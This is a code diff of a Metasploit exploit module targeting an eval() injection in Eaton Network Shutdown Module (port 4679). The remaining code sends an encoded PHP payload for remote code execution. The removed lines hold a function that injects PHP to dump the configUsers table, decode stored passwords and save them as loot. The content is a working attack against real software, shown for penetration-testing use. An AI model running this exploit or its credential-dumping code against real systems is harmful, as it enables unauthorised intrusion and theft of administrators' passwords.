@@ -18,12 +18,13 @@ def initialize(info = {})
18
18
'Description' => %q{
19
19
This module exploits a vulnerability in lib/dbtools.inc which uses
20
20
unsanitized user input inside a eval() call. Additionally the base64 encoded
21
- user credentials are extracted from the database of the application.
22
-
21
+ user credentials are extracted from the database of the application. Please
22
+ note that in order to be able to steal credentials, the vulnerable service
23
+ must have at least one USV module (an entry in the "nodes" table in mgedb.db)
23
24
} ,
24
25
'Author' => [ 'h0ng10' ] , # original discovery, msf module
25
26
'License' => MSF_LICENSE ,
26
- 'Version' => '$Revision$' ,
27
+ 'Version' => '$Revision$' ,
27
28
'References' =>
28
29
[
29
30
[ 'OSVDB' , '83199' ] ,
@@ -33,22 +34,20 @@ def initialize(info = {})
33
34
{
34
35
'DisableNops' => true ,
35
36
'Space' => 4000 ,
36
- 'Keys' => [ 'php' ]
37
+ 'Keys' => [ 'php' ]
37
38
} ,
38
- 'Platform' => [ 'php' ] ,
39
- 'Arch' => ARCH_PHP ,
39
+ 'Platform' => [ 'php' ] ,
40
+ 'Arch' => ARCH_PHP ,
40
41
41
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
42
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
42
43
'DefaultTarget' => 0 ,
43
- 'Privileged' => true ,
44
+ 'Privileged' => true ,
44
45
'DisclosureDate' => 'Jun 26 2012'
45
- ) )
46
+ ) )
46
47
47
48
register_options (
48
49
[
49
- Opt ::RPORT ( 4679 ) ,
50
- OptBool . new ( 'READ_CREDS' , [ true , 'Extract credentials from the target db' , true ] ) ,
51
-
50
+ Opt ::RPORT ( 4679 )
52
51
] , self . class )
53
52
end
54
53
@@ -65,42 +64,6 @@ def check
65
64
return CheckCode ::Safe
66
65
end
67
66
68
- def read_credentials ( )
69
- pattern = rand_text_numeric ( 10 )
70
- users_var = rand_text_alpha ( 10 )
71
- user_var = rand_text_alpha ( 10 )
72
- php = <<-EOT
73
- $#{ users_var } = &queryDB("SELECT * FROM configUsers;");
74
- foreach($#{ users_var } as $#{ user_var } ) {
75
- print "#{ pattern } " .$#{ user_var } ["login"]."#{ pattern } ".base64_decode($#{ user_var } ["pwd"])."#{ pattern } ";
76
- } die();
77
- EOT
78
-
79
- print_status ( "Reading user credentials from the database" )
80
- response = execute_php_code ( php )
81
-
82
- if not response or response . code != 200 then
83
- print_error ( "Failed: Error requesting page" )
84
- return
85
- end
86
-
87
- credentials = response . body . to_s . scan ( /\d {10}(.*)\d {10}(.*)\d {10}/ )
88
-
89
- return if credentials . length == 0
90
- print_status ( "Got #{ credentials . length } record(s):" )
91
- cred_txt = "#Username:Password\n "
92
- credentials . each do |record |
93
- print_status ( "Username: #{ record [ 0 ] } , Password: #{ record [ 1 ] } " )
94
- cred_txt << "#{ record [ 0 ] } :#{ record [ 1 ] } \n "
95
- end
96
-
97
- loot_name = "eaton.nsm.credentials"
98
- loot_type = "text/plain"
99
- loot_filename = "eaton_nsm_creds.txt"
100
- loot_desc = "Eaton Network Shutdown Module credentials"
101
- store_loot ( loot_name , loot_type , datastore [ 'RHOST' ] , cred_txt , loot_filename , loot_desc )
102
- end
103
-
104
67
def execute_php_code ( code , opts = { } )
105
68
param_name = rand_text_alpha ( 6 )
106
69
padding = rand_text_alpha ( 6 )
@@ -123,13 +86,12 @@ def execute_php_code(code, opts = {})
123
86
{
124
87
'Connection' => 'Close' ,
125
88
}
126
- } , 5 )
89
+ } )
127
90
res
128
91
end
129
92
130
93
def exploit
131
- read_credentials unless datastore [ 'READ_CREDS' ] == false
132
- print_status ( "Sending payload" )
94
+ print_status ( "#{ rhost } :#{ rport } - Sending payload" )
133
95
execute_php_code ( payload . encoded )
134
96
handler
135
97
end
0 commit comments